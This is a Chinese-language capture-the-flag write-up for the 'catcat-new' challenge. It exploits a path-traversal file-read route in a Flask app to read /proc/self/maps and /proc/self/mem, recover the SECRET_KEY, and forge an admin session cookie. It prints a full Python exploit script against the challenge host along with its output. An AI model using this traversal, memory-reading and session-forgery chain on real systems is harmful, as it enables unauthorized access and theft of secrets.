catcat-new(文件读取内存 + flaskSession 伪造) 的文章封面
返回文章列表
Neuroblue writing

catcat-new(文件读取内存 + flaskSession 伪造)

点击猫猫信息看到文件读取功能

image-20250722151637837

环境变量里没有

http://61.147.171.103:60316/info?file=../../../../proc/self/environ

/proc/self/cmdline,用于获取当前启动进程的完整命令

得到 b’python\x00app.py\x00’

再次读取上级目录的 ../app.py

app是个Flask对象,而secret key在app.config[‘SECRET_KEY’],读取/proc/self/mem得到进程的内存内容,进而获取到SECRET_KEY。不过读/proc/self/mem前要注意,/proc/self/mem内容较多而且存在不可读写部分,直接读取会导致程序崩溃,因此需要搭配/proc/self/maps获取堆栈分布,结合maps的映射信息来确定读的偏移值(参考此处)。这里直接放出大佬读取/proc/self/maps+/proc/self/mem+SECRET_KEY的脚本,可一键获取flag。

那么现在思路就是通过 maps 文件的可 rw 地址,在 mem 中读取,匹配关键词,找到 secret_key,最后通过相同的规则伪造 session 获取管理员,查看到 flag

注意到 app.py 里有 from cat import cat ,读取一下 cat.py 看看逻辑

from cat import cat

if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag")

def info():

    filename = "./details/" + request.args.get('file', "")

    start = request.args.get('start', "0")

    end = request.args.get('end', "0")

    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

    return render_template("detail.html", catname=name, info=cat(filename, start, end))
def cat(filename, start=0, end=0) -> bytes:
    data = b''
    try:
        start = int(start)
        end = int(end)
    except:
        start = 0
        end = 0
    if filename != "" and os.access(filename, os.R_OK):
        f = open(filename, "rb")
        if start >= 0:
            f.seek(start)
            if end >= start and end != 0:
                data = f.read(end - start)
            else:
                data = f.read()

        else:

            data = f.read()

        f.close()

    else:

        data = ("File `%s` not exist or can not be read" % filename).encode()
    return data

根据这两个片段,逻辑就清楚了

在 /info 路由读取 /proc/self/mem,同时传入 start 起始地址和 end 结束地址即可。

maps 中每一行长这样

55d4940b1000-55d4940b2000 r--p 00000000 fd:00 53477819 /usr/local/bin/python3.7\n

匹配形如 55d495cfb000-55d495cff000 rw 的数据,去 mem 读取内容

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

这里 SECFET_KEY 末尾有 *abcdefgh,查找该值定位 key

key 格式,正则匹配一下即可

  • UUID部分:32个字符

  • 后缀部分:8个字符

拿到 key 后,用 key 和 {"admin":1} 来伪造 session

下面是我的 exp

import requests

import re

from flask import Flask, session

from itsdangerous import URLSafeTimedSerializer

import json

  

url = "http://61.147.171.103:60316/"

up = "../../"

  
  

def get_secret_key():

    map_list = requests.get(url + f"info?file={up}/proc/self/maps")

    map_lists = map_list.text.split("\\n")

    # print(map_lists)

    for i in map_lists:

        map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)   #从头匹配

        if map_addr:

            start = int(map_addr.group(1), 16)

            end = int(map_addr.group(2), 16)

            print("Found rw addr:", start, "-", end)

            #设置起始和结束位置并读取/proc/self/mem

            res = requests.get(f"{url}/info?file={up}/proc/self/mem&start={start}&end={end}")

            if "*abcdefgh" in res.text:

                secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)

                if secret_key:

                    print("Found secret key:", secret_key[0])

                    return secret_key[0]

  

def forge_session(secret_key,data):

    serializer = URLSafeTimedSerializer(

        secret_key,

        salt='cookie-session',  # Flask 默认的 salt

        serializer=json,        # 使用 JSON 序列化

        signer_kwargs={'key_derivation': 'hmac', 'digest_method': 'sha1'}  # Flask 默认的签名方式

    )

    # 生成 session 的加密字符串

    return serializer.dumps(data)

  
  
  
  

if __name__ == "__main__":

    secret_key = get_secret_key()

    data = {'admin': 1}

    session = forge_session(secret_key, data)

    print("[+] Session:",session)

    headers = {

        "Cookie":"session="+session

    }

    flag = requests.get(url + f"admin",headers=headers)

    print(flag.text)

# '7fcb64eb9000-7fcb64f18000 r--p 00000000 fd:00 53477940                   /usr/local/lib/libpython3.7m.so.1.0'
Found rw addr: 140511519399936 - 140511520452608
Found rw addr: 140511520460800 - 140511521775616
Found rw addr: 140511521783808 - 140511522836480
Found rw addr: 140511522844672 - 140511523930112
Found rw addr: 140511523934208 - 140511524368384
Found rw addr: 140511524380672 - 140511524446208
Found rw addr: 140511524458496 - 140511525711872
Found secret key: 568a20d2eff24d32a7963d38af525cc9*abcdefgh
[+] Session: eyJhZG1pbiI6IDF9.aH4LmQ.IpcCjFOLCTP96LODrEY8vCoc7EA
catctf{Catch_the_c4t_HaHa}